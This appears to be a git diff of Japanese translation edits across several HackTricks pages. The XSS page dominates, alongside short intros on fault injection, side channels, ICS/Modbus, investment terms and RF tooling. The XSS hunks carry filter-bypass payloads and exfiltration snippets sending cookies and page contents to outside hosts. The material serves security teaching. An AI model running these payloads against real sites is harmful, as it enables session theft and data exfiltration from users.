このイベントハンドラーの作成を妨げるブラックリストがある場合は、次のバイパスを試すことができます:
|
||||
```javascript
|
||||
<svg onload%09=alert(1)> //No safari
|
||||
<svg %09onload=alert(1)>
|
||||
@ -424,7 +424,7 @@ onbeforetoggle="alert(2)" />
|
||||
<button popovertarget="newsletter">Subscribe to newsletter</button>
|
||||
<div popover id="newsletter">Newsletter popup</div>
|
||||
```
|
||||
[**こちら**](https://portswigger.net/research/xss-in-hidden-input-fields): **隠し属性**内で**XSSペイロード**を実行できますが、**被害者**に**キーの組み合わせ**を押すように**説得**する必要があります。FirefoxのWindows/Linuxではキーの組み合わせは**ALT+SHIFT+X**で、OS Xでは**CTRL+ALT+X**です。アクセスキー属性で異なるキーを使用して異なるキーの組み合わせを指定できます。ここにベクターがあります:
|
||||
[**こちら**](https://portswigger.net/research/xss-in-hidden-input-fields): **隠し属性**内で**XSSペイロード**を実行できますが、**犠牲者**に**キーの組み合わせ**を押すように**説得**する必要があります。Firefox Windows/Linuxではキーの組み合わせは**ALT+SHIFT+X**で、OS Xでは**CTRL+ALT+X**です。アクセスキー属性で異なるキーを使用して異なるキーの組み合わせを指定できます。ここにベクターがあります:
|
||||
```html
|
||||
<input type="hidden" accesskey="X" onclick="alert(1)">
|
||||
```
|
||||
@ -454,7 +454,7 @@ onbeforetoggle="alert(2)" />
|
||||
|
||||
例えば、要素に次のようなスタイルを追加することができます:`position: fixed; top: 0; left: 0; width: 100%; height: 100%; background-color: red; opacity: 0.5`
|
||||
|
||||
しかし、WAFがスタイル属性をフィルタリングしている場合、CSSスタイリングガジェットを使用することができます。例えば、次のようなものを見つけた場合
|
||||
しかし、WAFがスタイル属性をフィルタリングしている場合、CSSスタイリングガジェットを使用できます。例えば、次のようなものを見つけた場合
|
||||
|
||||
> .test {display:block; color: blue; width: 100%\}
|
||||
|
||||
@ -474,7 +474,7 @@ onbeforetoggle="alert(2)" />
|
||||
|
||||
### \<script>タグのエスケープ
|
||||
|
||||
もしあなたのコードが`<script> [...] var input = 'reflected data' [...] </script>`の中に挿入されている場合、**`<script>`タグを閉じることで簡単にエスケープできます:**
|
||||
もしあなたのコードが`<script> [...] var input = 'reflected data' [...] </script>`の中に挿入されている場合、**`<script>`タグを閉じることで簡単にエスケープできます**:
|
||||
```javascript
|
||||
</script><img src=1 onerror=alert(document.domain)>
|
||||
```
|
||||
@ -482,7 +482,7 @@ onbeforetoggle="alert(2)" />
|
||||
|
||||
### JSコード内
|
||||
|
||||
`<>`がサニタイズされている場合でも、**文字列をエスケープ**して、入力が**存在する場所**で**任意のJSを実行**することができます。JSの構文を**修正する**ことが重要です。エラーがあると、JSコードは実行されません。
|
||||
`<>`がサニタイズされている場合でも、**文字列をエスケープ**して、入力が**存在する場所**で**任意のJSを実行**することができます。JSの構文を**修正する**ことが重要です。エラーがあると、JSコードは実行されません:
|
||||
```
|
||||
'-alert(document.domain)-'
|
||||
';alert(document.domain)//
|
||||
@ -490,8 +490,8 @@ onbeforetoggle="alert(2)" />
|
||||
```
|
||||
### テンプレートリテラル \`\`
|
||||
|
||||
**文字列**を構築するために、シングルクォートやダブルクォートの他に、JSは**バックティック** **` `` `**も受け入れます。これはテンプレートリテラルとして知られ、`${ ... }`構文を使用して**JS式を埋め込む**ことを可能にします。\
|
||||
したがって、バックティックを使用しているJS文字列内に入力が**反映**されていることがわかった場合、構文`${ ... }`を悪用して**任意のJSコード**を実行することができます:
|
||||
**文字列**を構築するために、シングルクォートやダブルクォートとは別に、JSは**バックティック** **` `` `**も受け入れます。これはテンプレートリテラルと呼ばれ、`${ ... }`構文を使用して**JS式を埋め込む**ことができます。\
|
||||
したがって、バックティックを使用しているJS文字列内に入力が**反映**されていることがわかった場合、構文`${ ... }`を悪用して**任意のJSコード**を実行できます:
|
||||
|
||||
これは次のように**悪用**できます:
|
||||
```javascript
|
||||
@ -741,21 +741,21 @@ top[8680439..toString(30)](1)
|
||||
```
|
||||
## **DOMの脆弱性**
|
||||
|
||||
攻撃者によって制御された**安全でないデータ**を使用している**JSコード**があります。例えば、`location.href`のようなものです。攻撃者はこれを悪用して任意のJSコードを実行することができます。\
|
||||
攻撃者によって制御された**安全でないデータ**を使用している**JSコード**があります。例えば`location.href`のように。攻撃者はこれを悪用して任意のJSコードを実行することができます。\
|
||||
**DOMの脆弱性に関する説明が拡張されたため、** [**このページに移動しました**](dom-xss.md)**:**
|
||||
|
||||
{{#ref}}
|
||||
dom-xss.md
|
||||
{{#endref}}
|
||||
|
||||
そこでは、**DOMの脆弱性とは何か、どのように引き起こされるのか、そしてどのように悪用されるのかについての詳細な説明**が見つかります。\
|
||||
また、**前述の投稿の最後には、** [**DOM Clobbering攻撃**](dom-xss.md#dom-clobbering)についての説明がありますので、お忘れなく。
|
||||
そこでは、**DOMの脆弱性とは何か、どのように引き起こされるのか、そしてそれをどのように悪用するのかについての詳細な説明**が見つかります。\
|
||||
また、**前述の投稿の最後に** [**DOM Clobbering攻撃**](dom-xss.md#dom-clobbering)についての説明があることを忘れないでください。
|
||||
|
||||
### Self-XSSのアップグレード
|
||||
|
||||
### Cookie XSS
|
||||
|
||||
もしペイロードをクッキー内に送信することでXSSをトリガーできる場合、これは通常self-XSSです。しかし、もし**XSSに対して脆弱なサブドメイン**を見つけた場合、このXSSを悪用して全ドメインにクッキーを注入し、メインドメインや他のサブドメイン(クッキーXSSに対して脆弱なもの)でクッキーXSSをトリガーすることができます。このために、クッキー投げ攻撃を使用できます:
|
||||
もしペイロードをクッキー内に送信することでXSSをトリガーできる場合、これは通常self-XSSです。しかし、もし**XSSに対して脆弱なサブドメイン**を見つけた場合、このXSSを悪用して全ドメインにクッキーを注入し、メインドメインまたは他のサブドメイン(クッキーXSSに対して脆弱なもの)でクッキーXSSをトリガーすることができます。このために、クッキー投げ攻撃を使用できます:
|
||||
|
||||
{{#ref}}
|
||||
../hacking-with-cookies/cookie-tossing.md
|
||||
@ -828,10 +828,10 @@ document['default'+'View'][`\u0061lert`](3)
|
||||
```
|
||||
### XSS with header injection in a 302 response
|
||||
|
||||
もしあなたが **302リダイレクトレスポンスにヘッダーを注入できる** ことがわかった場合、**ブラウザに任意のJavaScriptを実行させる**ことを試みることができます。これは **簡単ではありません**。現代のブラウザは、HTTPレスポンスステータスコードが302の場合、HTTPレスポンスボディを解釈しないため、単なるクロスサイトスクリプティングペイロードは無意味です。
|
||||
もしあなたが **302リダイレクトレスポンスにヘッダーを注入できる** ことがわかった場合、**ブラウザに任意のJavaScriptを実行させる**ことを試みることができます。これは **簡単ではありません**。なぜなら、現代のブラウザはHTTPレスポンスステータスコードが302の場合、HTTPレスポンスボディを解釈しないため、単なるクロスサイトスクリプティングペイロードは無意味だからです。
|
||||
|
||||
[**このレポート**](https://www.gremwell.com/firefox-xss-302) と [**こちら**](https://www.hahwul.com/2020/10/03/forcing-http-redirect-xss/) では、Locationヘッダー内でいくつかのプロトコルをテストし、それらのいずれかがブラウザにボディ内のXSSペイロードを検査して実行させることを許可するかどうかを確認する方法を読むことができます。\
|
||||
過去の既知のプロトコル: `mailto://`, `//x:1/`, `ws://`, `wss://`, _空のLocationヘッダー_, `resource://`.
|
||||
過去に知られているプロトコル: `mailto://`, `//x:1/`, `ws://`, `wss://`, _空のLocationヘッダー_, `resource://`。
|
||||
|
||||
### Only Letters, Numbers and Dots
|
||||
|
||||
@ -872,7 +872,7 @@ const char* const kSupportedJavascriptTypes[] = {
|
||||
<script type="???"></script>
|
||||
```
|
||||
- **module** (デフォルト、説明は不要)
|
||||
- [**webbundle**](https://web.dev/web-bundles/): Web Bundlesは、データ(HTML、CSS、JSなど)をまとめて**`.wbn`**ファイルにパッケージ化できる機能です。
|
||||
- [**webbundle**](https://web.dev/web-bundles/): Web Bundlesは、HTML、CSS、JSなどのデータをまとめて**`.wbn`**ファイルにパッケージ化できる機能です。
|
||||
```html
|
||||
<script type="webbundle">
|
||||
{
|
||||
@ -899,7 +899,7 @@ import moment from "moment"
|
||||
import { partition } from "lodash"
|
||||
</script>
|
||||
```
|
||||
この動作は、[**この解説**](https://github.com/zwade/yaca/tree/master/solution)でライブラリをevalに再マッピングしてXSSを引き起こすために悪用されました。
|
||||
この動作は、[**この解説**](https://github.com/zwade/yaca/tree/master/solution)でライブラリをevalに再マッピングしてXSSを引き起こすために悪用されることができます。
|
||||
|
||||
- [**speculationrules**](https://github.com/WICG/nav-speculation)**:** この機能は、プリレンダリングによって引き起こされるいくつかの問題を解決するためのものです。動作は次のようになります:
|
||||
```html
|
||||
@ -926,7 +926,7 @@ import { partition } from "lodash"
|
||||
- application/xml
|
||||
- text/xml
|
||||
- image/svg+xml
|
||||
- text/plain (?? リストにはありませんが、CTFでこれを見たと思います)
|
||||
- text/plain (?? リストにはありませんが、CTFで見たことがあると思います)
|
||||
- application/rss+xml (オフ)
|
||||
- application/atom+xml (オフ)
|
||||
|
||||
@ -1269,9 +1269,9 @@ steal-info-js.md
|
||||
<script>navigator.sendBeacon('https://ssrftest.com/x/AAAAA',document.cookie)</script>
|
||||
```
|
||||
> [!TIP]
|
||||
> あなたは**HTTPOnlyフラグがクッキーに設定されている場合、JavaScriptからクッキーにアクセスできません**。しかし、運が良ければ、ここに[この保護を回避するいくつかの方法があります](../hacking-with-cookies/index.html#httponly)。
|
||||
> あなたは**HTTPOnlyフラグがクッキーに設定されている場合、JavaScriptからクッキーにアクセスすることはできません**。しかし、運が良ければ、ここに[この保護を回避するいくつかの方法があります](../hacking-with-cookies/index.html#httponly)。
|
||||
|
||||
### ページコンテンツを盗む
|
||||
### ページコンテンツの盗難
|
||||
```javascript
|
||||
var url = "http://10.10.10.25:8000/vac/a1fbf2d1-7c3f-48d2-b0c3-a205e54e09e8"
|
||||
var attacker = "http://10.10.14.8/exfil"
|
||||
@ -1498,7 +1498,7 @@ javascript:eval(atob("Y29uc3QgeD1kb2N1bWVudC5jcmVhdGVFbGVtZW50KCdzY3JpcHQnKTt4Ln
|
||||
<!-- In case your target makes use of AngularJS -->
|
||||
{{constructor.constructor("import('{SERVER}/script.js')")()}}
|
||||
```
|
||||
### Regex - 隠されたコンテンツへのアクセス
|
||||
### Regex - 隠れたコンテンツへのアクセス
|
||||
|
||||
From [**this writeup**](https://blog.arkark.dev/2022/11/18/seccon-en/#web-piyosay) it's possible to learn that even if some values disappear from JS, it's still possible to find them in JS attributes in different objects. For example, an input of a REGEX is still possible to find it after the value of the input of the regex was removed:
|
||||
```javascript
|
||||
@ -1559,11 +1559,11 @@ pdf-injection.md
|
||||
|
||||
### Amp4EmailにおけるXSS
|
||||
|
||||
AMPは、モバイルデバイスでのウェブページパフォーマンスを向上させることを目的としており、速度とセキュリティを重視してJavaScriptで補完されたHTMLタグを組み込んでいます。さまざまな機能のためのコンポーネントの範囲をサポートしており、[AMPコンポーネント](https://amp.dev/documentation/components/?format=websites)を介してアクセスできます。
|
||||
AMPは、モバイルデバイスでのウェブページパフォーマンスを向上させることを目的としており、速度とセキュリティを重視してJavaScriptで補完されたHTMLタグを組み込んでいます。さまざまな機能のためのコンポーネントをサポートしており、[AMPコンポーネント](https://amp.dev/documentation/components/?format=websites)を介してアクセスできます。
|
||||
|
||||
[**AMP for Email**](https://amp.dev/documentation/guides-and-tutorials/learn/email-spec/amp-email-format/)フォーマットは、特定のAMPコンポーネントをメールに拡張し、受信者がメール内で直接コンテンツと対話できるようにします。
|
||||
|
||||
例として、[**GmailのAmp4EmailにおけるXSSの書き込み**](https://adico.me/post/xss-in-gmail-s-amp4email)。
|
||||
例:[**GmailのAmp4EmailにおけるXSSの解説**](https://adico.me/post/xss-in-gmail-s-amp4email)。
|
||||
|
||||
### ファイルのアップロードによるXSS(svg)
|
||||
|
||||
|
@ -1,11 +1,11 @@
|
||||
# フォルトインジェクション攻撃
|
||||
# Fault Injection Attacks
|
||||
|
||||
{{#include /banners/hacktricks-training.md}}
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
フォルトインジェクション攻撃は、電子回路に外部の干渉を導入してその動作に影響を与え、情報を漏洩させたり、回路内の特定の制限を回避したりすることを含みます。この攻撃は、電子回路に対する攻撃の多くの可能性を開きます。この攻撃は、電子回路のグリッチングとも呼ばれます。
|
||||
フォルトインジェクション攻撃は、電子回路に外部の干渉を導入してその動作に影響を与え、情報を漏洩させたり、回路内の特定の制限を回避したりすることを含みます。この攻撃は、電子回路を攻撃するための多くの可能性を開きます。この攻撃は、電子回路のグリッチングとも呼ばれます。
|
||||
|
||||
電子回路にフォルトを注入するための多くの方法と手段があります。
|
||||
|
||||
|
||||
|
||||
{{#include /banners/hacktricks-training.md}}
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
@ -1,11 +1,11 @@
|
||||
# サイドチャネル分析攻撃
|
||||
|
||||
{{#include /banners/hacktricks-training.md}}
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
サイドチャネル分析攻撃とは、デバイスやエンティティから、間接的に影響を与える他のチャネルやソースを通じて情報を特定し、その情報を抽出することを指します。これは、以下の例でより良く説明できます。
|
||||
|
||||
音源に近いガラスシートの振動を分析することですが、音源にはアクセスできません。ガラスの振動は音源の影響を受けており、監視して分析することで、音をデコードして解釈することができます。
|
||||
音源に近いガラスシートの振動を分析することですが、音源にはアクセスできません。ガラスの振動は音源の影響を受けており、監視・分析することで音をデコードし解釈することができます。
|
||||
|
||||
これらの攻撃は、プライベートキーのようなデータの漏洩やプロセッサ内の操作を見つける場合に非常に人気があります。電子回路には、情報が常に漏洩する多くのチャネルがあります。監視と分析は、回路やその内部に関する多くの情報を開示するのに役立ちます。
|
||||
これらの攻撃は、プライベートキーの漏洩やプロセッサ内の操作を見つける場合に非常に人気があります。電子回路には、情報が常に漏洩する多くのチャネルがあります。監視と分析は、回路やその内部に関する多くの情報を開示するのに役立ちます。
|
||||
|
||||
{{#include /banners/hacktricks-training.md}}
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
@ -1,19 +1,19 @@
|
||||
# Industrial Control Systems Hacking
|
||||
|
||||
{{#include /banners/hacktricks-training.md}}
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
## About this Section
|
||||
|
||||
このセクションでは、産業用制御システムに関するすべての情報を提供し、さまざまなセキュリティ問題を含むハッキングの概念や方法論を紹介します。
|
||||
このセクションでは、産業用制御システムに関するすべての情報を提供します。概念や、さまざまなセキュリティ問題を伴うハッキング手法が含まれています。
|
||||
|
||||
産業用制御システムは至る所に存在し、産業は国家の経済発展にとって重要です。しかし、これらのICSは更新が難しく、この分野での進展は少ないです。そのため、セキュリティの欠陥を見つけることは一般的です。ここで使用されるほとんどのプロトコルと標準は90年代に開発されており、現在の攻撃シナリオと比較して能力がはるかに低いです。
|
||||
産業用制御システムは至る所に存在し、産業は国家の経済発展にとって重要です。しかし、これらのICSは更新が難しく、この分野での進展は少ないです。そのため、セキュリティの欠陥を見つけることは一般的です。ここで使用されるほとんどのプロトコルや標準は90年代に開発されており、現在の攻撃シナリオと比較して能力が大幅に劣ります。
|
||||
|
||||
これらのシステムを保護することが重要になってきています。損傷を与えることは多大なコストを伴い、最悪の場合は命に関わることもあります。産業用制御システムのセキュリティを理解するためには、その内部を知ることが必要です。
|
||||
|
||||
産業用制御システムは定められた標準に従って設置されるため、各コンポーネントを知ることは、制御システム内の他のメカニズムを相互接続するのに役立ちます。これらのデバイス(PLCやSCADAシステムなど)の設置はさまざまな産業で異なるため、情報収集が重要です。
|
||||
産業用制御システムは、定められた標準に従って設置されるため、各コンポーネントを知ることは、制御システム内の他のメカニズムを相互接続するのに役立ちます。これらのデバイス(PLCやSCADAシステムなど)の設置は、さまざまな産業で異なるため、情報収集が重要です。
|
||||
|
||||
産業用制御システムは時に複雑であり、何かを行うには多くの忍耐が必要です。攻撃を計画し、エクスプロイトを開発する前に、すべてはプロービングと偵察に関することです。
|
||||
|
||||
これらの技術は、攻撃から保護するためや、産業用制御システムのブルーチーミングにも使用できます。
|
||||
これらの技術は、攻撃に対する防御や産業用制御システムのブルーチーミングにも使用できます。
|
||||
|
||||
{{#include /banners/hacktricks-training.md}}
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
@ -1,12 +1,12 @@
|
||||
# Modbusプロトコル
|
||||
|
||||
{{#include /banners/hacktricks-training.md}}
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
## Modbusプロトコルの紹介
|
||||
|
||||
Modbusプロトコルは、産業オートメーションおよび制御システムで広く使用されているプロトコルです。Modbusは、プログラマブルロジックコントローラ(PLC)、センサー、アクチュエーター、およびその他の産業機器など、さまざまなデバイス間の通信を可能にします。Modbusプロトコルを理解することは重要です。なぜなら、これはICSで最も広く使用されている通信プロトコルであり、スニッフィングやPLCへのコマンド注入のための攻撃面が多く存在するからです。
|
||||
Modbusプロトコルは、産業オートメーションおよび制御システムで広く使用されているプロトコルです。Modbusは、プログラマブルロジックコントローラ(PLC)、センサー、アクチュエーター、およびその他の産業機器など、さまざまなデバイス間の通信を可能にします。Modbusプロトコルを理解することは重要です。なぜなら、これはICSで最も使用されている通信プロトコルであり、スニッフィングやPLCへのコマンド注入のための攻撃面が多く存在するからです。
|
||||
|
||||
ここでは、プロトコルのコンテキストとその動作の性質を提供するために、概念がポイントごとに述べられています。ICSシステムセキュリティの最大の課題は、実装とアップグレードのコストです。これらのプロトコルと標準は80年代と90年代の初めに設計され、現在でも広く使用されています。産業には多くのデバイスと接続があるため、デバイスのアップグレードは非常に困難であり、これがハッカーに古いプロトコルを扱う優位性を提供します。Modbusへの攻撃は、業界にとってその運用が重要であるため、実質的に避けられません。
|
||||
ここでは、プロトコルのコンテキストとその動作の性質を提供するために、概念がポイントごとに述べられています。ICSシステムセキュリティの最大の課題は、実装とアップグレードのコストです。これらのプロトコルと標準は80年代と90年代の初めに設計され、現在でも広く使用されています。産業には多くのデバイスと接続があるため、デバイスのアップグレードは非常に困難であり、これがハッカーに古いプロトコルを扱う優位性を与えます。Modbusへの攻撃は、業界にとってその運用が重要であるため、実質的に避けられません。
|
||||
|
||||
## クライアント-サーバーアーキテクチャ
|
||||
|
||||
@ -22,7 +22,7 @@ Modbusプロトコルは、シリアル通信とイーサネット通信の両
|
||||
|
||||
## 機能コード
|
||||
|
||||
ModBusプロトコルは、PLCやさまざまな制御デバイスを操作するために使用される特定の機能コードの送信で機能します。この部分は、リプレイ攻撃が機能コードを再送信することによって行われる可能性があるため、理解することが重要です。レガシーデバイスはデータ送信に対する暗号化をサポートしておらず、通常は長いワイヤーで接続されているため、これらのワイヤーの改ざんやデータのキャプチャ/注入が発生します。
|
||||
ModBusプロトコルは、PLCやさまざまな制御デバイスを操作するために使用される特定の機能コードの送信で機能します。この部分は、リプレイ攻撃が機能コードを再送信することによって行われる可能性があるため、理解することが重要です。レガシーデバイスはデータ送信に対する暗号化をサポートしておらず、通常はそれらを接続する長いワイヤーを持っているため、これらのワイヤーの改ざんやデータのキャプチャ/注入が発生します。
|
||||
|
||||
## Modbusのアドレッシング
|
||||
|
||||
@ -30,6 +30,6 @@ ModBusプロトコルは、PLCやさまざまな制御デバイスを操作す
|
||||
|
||||
さらに、Modbusは送信データの整合性を確保するためにエラーチェックも実装しています。しかし、最も重要なのは、Modbusはオープンスタンダードであり、誰でも自分のデバイスに実装できることです。これにより、このプロトコルはグローバルスタンダードとなり、産業オートメーション業界で広く普及しました。
|
||||
|
||||
その大規模な使用とアップグレードの欠如により、Modbusへの攻撃はその攻撃面において重要な利点を提供します。ICSはデバイス間の通信に大きく依存しており、それらに対する攻撃は産業システムの運用にとって危険です。リプレイ、データ注入、データスニッフィングおよびリーク、サービス拒否、データ偽造などの攻撃は、攻撃者によって送信媒体が特定されれば実行される可能性があります。
|
||||
その大規模な使用とアップグレードの欠如により、Modbusへの攻撃はその攻撃面において重要な利点を提供します。ICSはデバイス間の通信に大きく依存しており、それらに対する攻撃は産業システムの運用にとって危険です。リプレイ、データ注入、データスニッフィングおよびリーク、サービス拒否、データ偽造などの攻撃は、攻撃者によって伝送媒体が特定されれば実行される可能性があります。
|
||||
|
||||
{{#include /banners/hacktricks-training.md}}
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
@ -1,6 +1,6 @@
|
||||
# 投資用語
|
||||
|
||||
{{#include /banners/hacktricks-training.md}}
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
||||
## スポット
|
||||
|
||||
@ -8,7 +8,7 @@
|
||||
|
||||
通常、**現在の市場価格**を使用して、できるだけ早く取引を行うこともできます。
|
||||
|
||||
**ストップロス - リミット**: 購入または販売する資産の量と価格を指定し、損失を止めるために達した場合の購入または販売のための低い価格も指定できます。
|
||||
**ストップロス - リミット**: 購入または販売する資産の量と価格を指定し、到達した場合に購入または販売するための下限価格を指定することもできます(損失を止めるため)。
|
||||
|
||||
## 先物
|
||||
|
||||
@ -20,44 +20,44 @@
|
||||
|
||||
ただし、取引所では通常、利益を得るために使用されます。
|
||||
|
||||
* 「ロングポジション」とは、価格が上昇することに賭けていることを意味します。
|
||||
* 「ショートポジション」とは、価格が下落することに賭けていることを意味します。
|
||||
* 「ロングポジション」とは、誰かが価格が上昇することに賭けていることを意味します。
|
||||
* 「ショートポジション」とは、誰かが価格が下落することに賭けていることを意味します。
|
||||
|
||||
### 先物によるヘッジ <a href="#mntl-sc-block_7-0" id="mntl-sc-block_7-0"></a>
|
||||
|
||||
ファンドマネージャーが株価が下がることを恐れている場合、ビットコインやS&P 500先物契約などの資産に対してショートポジションを取ることがあります。これは、資産を購入または保有し、それを将来のより高い価格で売る契約を作成することに似ています。
|
||||
ファンドマネージャーが株価が下がることを恐れている場合、ビットコインやS&P 500先物契約などの資産に対してショートポジションを取ることがあります。これは、資産を保有しているか購入しているのと同様で、将来の時点でより高い価格でそれらを売る契約を作成することに似ています。
|
||||
|
||||
価格が下がった場合、ファンドマネージャーは資産をより高い価格で売ることで利益を得ます。資産の価格が上がった場合、マネージャーはその利益を得ることはありませんが、資産は保持します。
|
||||
価格が下がった場合、ファンドマネージャーは資産をより高い価格で売ることで利益を得ます。資産の価格が上がった場合、マネージャーはその利益を得ることはできませんが、資産を保持し続けます。
|
||||
|
||||
### 永続的先物
|
||||
|
||||
**これは無期限に続く「先物」です**(終了契約日がありません)。暗号取引所などで、暗号の価格に基づいて先物に出入りできることが非常に一般的です。
|
||||
**これは無期限に続く「先物」です**(終了契約日がありません)。暗号取引所などで、暗号の価格に基づいて先物に出入りすることが非常に一般的です。
|
||||
|
||||
これらの場合、利益と損失はリアルタイムで発生することに注意してください。価格が1%上昇すれば1%の利益、価格が1%下がればその分の損失が発生します。
|
||||
これらの場合、利益と損失はリアルタイムで発生することに注意してください。価格が1%上昇すれば1%の利益、価格が1%下落すればその分の損失を被ります。
|
||||
|
||||
### レバレッジ付き先物
|
||||
|
||||
**レバレッジ**は、少ない金額で市場での大きなポジションをコントロールできるようにします。基本的には、実際に持っているお金だけをリスクにさらしながら、はるかに多くのお金を「賭ける」ことを可能にします。
|
||||
**レバレッジ**は、少ない金額で市場での大きなポジションをコントロールできるようにします。基本的に、実際に持っているお金だけをリスクにさらしながら、はるかに多くのお金を「賭ける」ことを可能にします。
|
||||
|
||||
例えば、100ドルで50倍のレバレッジを使ってBTC/USDTの先物ポジションを開くと、価格が1%上昇すれば、初期投資の1x50 = 50%(50ドル)の利益を得ることになります。したがって、150ドルになります。\
|
||||
しかし、価格が1%下がると、資金の50%(この場合59ドル)を失います。価格が2%下がると、賭けた金額全てを失います(2x50 = 100%)。
|
||||
しかし、価格が1%下落すれば、資金の50%(この場合59ドル)を失います。価格が2%下落すれば、賭けた全額(2x50 = 100%)を失います。
|
||||
|
||||
したがって、レバレッジを使うことで、賭ける金額をコントロールしながら、利益と損失を増やすことができます。
|
||||
したがって、レバレッジを利用することで、賭ける金額をコントロールしながら、利益と損失を増加させることができます。
|
||||
|
||||
## 先物とオプションの違い
|
||||
|
||||
先物とオプションの主な違いは、契約が買い手にとって任意であることです:彼はそれを実行するかどうかを決定できます(通常、利益がある場合のみ実行します)。売り手は、買い手がオプションを使用したい場合、売らなければなりません。\
|
||||
ただし、買い手はオプションを開くために売り手に手数料を支払う必要があります(したがって、リスクを取っている売り手は、いくらかの利益を得ることになります)。
|
||||
先物とオプションの主な違いは、契約が買い手にとってオプションであることです:彼はそれを実行するかどうかを決定できます(通常、利益がある場合のみ実行します)。売り手は、買い手がオプションを行使したい場合、売らなければなりません。\
|
||||
ただし、買い手はオプションを開くために売り手に手数料を支払う必要があります(したがって、リスクを取っている売り手は、いくらかの利益を得ることができます)。
|
||||
|
||||
### 1. **義務 vs. 権利:**
|
||||
|
||||
* **先物:** 先物契約を購入または販売する際、特定の日に特定の価格で資産を購入または販売する**拘束力のある契約**に入ります。買い手と売り手の両方が、満期時に契約を履行する**義務**があります(契約がその前に終了しない限り)。
|
||||
* **オプション:** オプションでは、特定の価格で資産を購入(**コールオプション**の場合)または販売(**プットオプション**の場合)する**権利はあるが義務はない**ということです。**買い手**は実行するオプションを持ち、**売り手**は買い手がオプションを行使することを決定した場合、取引を履行する義務があります。
|
||||
* **先物:** 先物契約を購入または販売する際、特定の日に特定の価格で資産を購入または販売する**拘束力のある契約**に入ります。買い手と売り手の両方が、契約の満了時に契約を履行する**義務**があります(契約がその前に終了しない限り)。
|
||||
* **オプション:** オプションでは、特定の価格で資産を購入(**コールオプション**の場合)または販売(**プットオプション**の場合)する**権利はあるが義務はない**です。**買い手**は実行するオプションを持ち、**売り手**は買い手がオプションを行使することを決定した場合、取引を履行する義務があります。
|
||||
|
||||
### 2. **リスク:**
|
||||
|
||||
* **先物:** 買い手と売り手の両方が**無制限のリスク**を負います。リスクは、合意された価格と満期時の市場価格の差です。
|
||||
* **オプション:** 買い手のリスクは、オプションを購入するために支払った**プレミアム**に制限されます。市場がオプション保有者に有利に動かない場合、彼らは単にオプションを失効させることができます。ただし、オプションの**売り手**(ライター)は、市場が大きく不利に動いた場合、無制限のリスクを負います。
|
||||
* **先物:** 買い手と売り手の両方が契約を完了する義務があるため、**無制限のリスク**を負います。リスクは、合意された価格と満了日での市場価格の差です。
|
||||
* **オプション:** 買い手のリスクは、オプションを購入するために支払った**プレミアム**に制限されています。市場がオプション保有者に有利に動かない場合、彼らは単にオプションを失効させることができます。ただし、オプションの**売り手**(ライター)は、市場が大きく不利に動いた場合、無制限のリスクを負います。
|
||||
|
||||
### 3. **コスト:**
|
||||
|
||||
@ -66,7 +66,7 @@
|
||||
|
||||
### 4. **利益の可能性:**
|
||||
|
||||
* **先物:** 利益または損失は、満期時の市場価格と契約で合意された価格の差に基づいています。
|
||||
* **オプション:** 買い手は、市場がストライク価格を超えてプレミアムを支払った以上に有利に動いたときに利益を得ます。売り手は、オプションが行使されない場合にプレミアムを保持することで利益を得ます。
|
||||
* **先物:** 利益または損失は、満了時の市場価格と契約で合意された価格の差に基づいています。
|
||||
* **オプション:** 買い手は、市場がストライク価格を超えて有利に動いた場合に利益を得ます。売り手は、オプションが行使されない場合にプレミアムを保持することで利益を得ます。
|
||||
|
||||
{{#include /banners/hacktricks-training.md}}
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
@ -1,3 +1,3 @@
|
||||
# ラジオハッキング
|
||||
|
||||
{{#include /banners/hacktricks-training.md}}
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
@ -1,14 +1,14 @@
|
||||
# FISSURE - The RF Framework
|
||||
|
||||
{{#include /banners/hacktricks-training.md}}
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
**周波数に依存しないSDRベースの信号理解とリバースエンジニアリング**
|
||||
|
||||
FISSUREは、信号検出と分類、プロトコル発見、攻撃実行、IQ操作、脆弱性分析、自動化、AI/MLのためのフックを備えた、すべてのスキルレベル向けに設計されたオープンソースのRFおよびリバースエンジニアリングフレームワークです。このフレームワークは、ソフトウェアモジュール、ラジオ、プロトコル、信号データ、スクリプト、フローダイアグラム、参考資料、サードパーティツールの迅速な統合を促進するために構築されました。FISSUREは、ソフトウェアを1か所に保持し、特定のLinuxディストリビューションのための同じ実証済みのベースライン構成を共有しながら、チームがスムーズに作業を開始できるようにするワークフローの促進者です。
|
||||
FISSUREは、信号検出と分類、プロトコル発見、攻撃実行、IQ操作、脆弱性分析、自動化、AI/MLのためのフックを備えた、すべてのスキルレベル向けに設計されたオープンソースのRFおよびリバースエンジニアリングフレームワークです。このフレームワークは、ソフトウェアモジュール、ラジオ、プロトコル、信号データ、スクリプト、フローペグラフ、参考資料、サードパーティツールの迅速な統合を促進するために構築されました。FISSUREは、ソフトウェアを1か所に保持し、特定のLinuxディストリビューションのための同じ実証済みのベースライン構成を共有しながら、チームがスムーズに作業を開始できるようにするワークフローの促進者です。
|
||||
|
||||
FISSUREに含まれるフレームワークとツールは、RFエネルギーの存在を検出し、信号の特性を理解し、サンプルを収集・分析し、送信および/または注入技術を開発し、カスタムペイロードやメッセージを作成するために設計されています。FISSUREには、識別、パケット作成、ファジングを支援するためのプロトコルおよび信号情報の成長するライブラリが含まれています。オンラインアーカイブ機能があり、信号ファイルをダウンロードし、トラフィックをシミュレートしてシステムをテストするためのプレイリストを構築できます。
|
||||
|
||||
フレンドリーなPythonコードベースとユーザーインターフェースにより、初心者はRFおよびリバースエンジニアリングに関する人気のツールや技術を迅速に学ぶことができます。サイバーセキュリティやエンジニアリングの教育者は、組み込みの資料を活用したり、フレームワークを利用して自分の実世界のアプリケーションを示すことができます。開発者や研究者は、日常のタスクにFISSUREを使用したり、最先端のソリューションをより広いオーディエンスに公開することができます。FISSUREの認知度と使用がコミュニティで高まるにつれて、その能力の範囲と包含する技術の幅も広がります。
|
||||
